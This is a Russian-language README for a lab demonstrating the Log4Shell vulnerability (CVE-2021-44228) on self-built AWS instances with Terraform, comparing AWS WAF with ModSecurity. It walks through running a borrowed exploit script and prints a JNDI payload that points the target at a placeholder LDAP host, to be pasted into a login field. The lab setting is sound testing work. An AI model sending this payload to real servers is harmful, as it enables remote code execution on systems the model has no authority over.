
Файлы этого проекта демонстрируют proof-of-concept уязвимости log4j (CVE-2021-44228) в AWS с использованием Terraform в качестве средства инфраструктуры как кода.
Файлы этого проекта демонстрируют proof-of-concept уязвимости log4j (CVE-2021-44228) на AWS с использованием Terraform как средства Infrastructure-as-a-Code.
В этом проекте 2 демо:
Вывод: Первое демо демонстрирует успешную эксплуатацию с использованием AWS WAF. Второе демо было неудачной попыткой при включённом ModSecurity. При удалении ModSecurity эксплуатация становится успешной. Возможно, это связано с тем, что ModSecurity — активный проект, поэтому уязвимые строки были идентифицированы и отфильтрованы.
Этот PoC взят из: https://github.com/kozmer/log4j-shell-poc
В этом блоге на Medium объясняется, как проходил разбор её попытки: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
Лично я тестировал с Windows + Powershell, облачная машина — Ubuntu 18 LTS. (Эксплуатация с kali или любого linux)
Создайте через веб-интерфейс (назовите его 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Выберите пользователя > Выберите раздел security_credentials
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
После выполнения будет указан IP / DNS.
Для single-instance убедитесь, что http:<aws host url>:8080 доступен.
Для double-instance убедитесь, что http:<aws host url> доступен.
* обратите внимание, что запуск 'double-instance' занимает намного больше времени; после ssh в систему можно использовать journalctl -f для отслеживания прогресса.
Если вы следите за журналом, «Reached target Cloud-init target.» означает готовое состояние.

Установите право на выполнение
chmod +x ../exploit-script-remote.sh
Запустите скрипт с указанной переменной
../exploit-script-remote.sh
Обратите внимание: полезная нагрузка отображается в конце скрипта примерно так: ${jndi:ldap://<ip-address>:1389/a}
Перейдите на http:<aws host url>:8080
Скопируйте полезную нагрузку в поле «имя пользователя» и отправьте форму.

JDK-файл: подтверждено, что хэш из источника Baidu совпадает с хэшем Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
Инстанс: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
Spot instance: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[ssh-ключ на лету] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
Шаблонизация: https://spacelift.io/blog/terraform-templates